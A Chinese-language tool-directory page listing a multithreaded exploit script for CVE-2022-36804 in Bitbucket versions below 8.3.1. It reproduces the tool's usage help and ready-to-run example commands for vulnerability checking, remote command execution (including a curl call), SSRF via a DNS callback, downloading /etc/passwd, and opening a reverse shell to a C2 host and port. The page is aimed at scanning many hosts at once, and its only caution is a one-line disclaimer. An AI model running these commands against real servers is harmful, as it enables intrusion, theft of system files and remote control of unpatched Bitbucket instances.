Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-36804-PoC — 针对 CVE-2022-36804 的多线程利用脚本,影响 BitBucket 版本 <8.3.1 | Kitploit
工具/GitHubGitHub/notxesh/cve-2022-36804-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队
GitHubnotxesh/cve-2022-36804-poc

CVE-2022-36804-PoC

针对 CVE-2022-36804 的多线程利用脚本,影响 BitBucket 版本 <8.3.1

查看仓库
18834年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-36804-PoC

影响(大部分)BitBucket版本 <8.3.1 的 CVE-2022-36804 的多线程利用脚本 完整公告请查看 https://jira.atlassian.com/browse/BSERV-13438

发现者荣誉归 TheGrandPew

该脚本会自动检测 BitBucket 实例上的公开仓库,然后随机选择一个仓库进行检查或执行漏洞利用。如果没有公开仓库,则需要提供有效的 'BITBUCKETSESSIONID' cookie 才能利用已知的易受攻击实例。

PoC 设计为接受多个输入主机,并将易受攻击的主机输出到 stdout,从而允许通过管道将结果传递给其他工具进行处理。

请勿用于恶意目的。

使用方法

usage: CVE-2022-36804.py [-h] [--auth-cookie AUTH_COOKIE] [--proxy PROXY] [-e {check,rce,ssrf,download,rev_shell}] [--cmd CMD] [--knary KNARY] [--server-file SERVER_FILE] [--host HOST] [--port PORT]
                         [--skip-check] [-t THREADS] [-v]
                         repos [repos ...]

CVE-2022-36804 Exploit Script for BitBucket versions < 8.3.1

optional arguments:
  -h, --help            show this help message and exit

required arguments:
  repos                 Repository host/s (http://bitbucket.example.com:7990) (or single input file "./targets.txt" of target hosts) to perfrom CVE-2022-36804 on

optional arguments:
  --auth-cookie AUTH_COOKIE
                        Authentication cookie 'BITBUCKETSESSIONID' value for private repositories
  --proxy PROXY         HTTP Proxy: <http/https>://<ip>:<port>
  -e {check,rce,ssrf,download,rev_shell}, --exploit {check,rce,ssrf,download,rev_shell}
                        Exploit to perform
  --cmd CMD             Command to execute for the 'rce' exploit (curl http://example.com)
  --knary KNARY         Knary to respond too via DNS for the 'ssrf' exploit
  --server-file SERVER_FILE
                        Server file to download for the 'download' exploit (/etc/passwd)
  --host HOST           Hostname or IP address of c2 for the 'rev_shell' exploit
  --port PORT           Port of the c2 for the 'rev_shell' exploit
  --skip-check          Skip vulnerability checking stage
  -t THREADS, --threads THREADS
                        Worker Threads
  -v, --verbose         Increase output verbosity level

利用模式

检查

单个主机

CVE-2022-36804.py http://bitbucket.local:7990/

多个主机并将易受攻击的主机和被利用的仓库通过管道输出到文件

CVE-2022-36804.py ./bitbucket-hosts.txt > vulnerable-hosts

RCE(远程代码执行)

CVE-2022-36804.py -e rce --cmd "curl http://example.com/" http://bitbucket.local:7990/

SSRF(服务器端请求伪造)

向指定的 knary 发起 DNS 请求

CVE-2022-36804.py -e ssrf --knary http://knary.example.com http://bitbucket.local:7990/

下载

下载包含目标文件 /etc/passwd 的仓库,这将把压缩的仓库保存到随机文件名中。

CVE-2022-36804.py -e download --server-file /etc/passwd http://bitbucket.local:7990/

Rev_shell(生成一个反向 sh shell 连接到指定的主机和端口)

CVE-2022-36804.py -e rev_shell --host 127.0.0.1 --port 31337 http://bitbucket.local:7990/

下载工具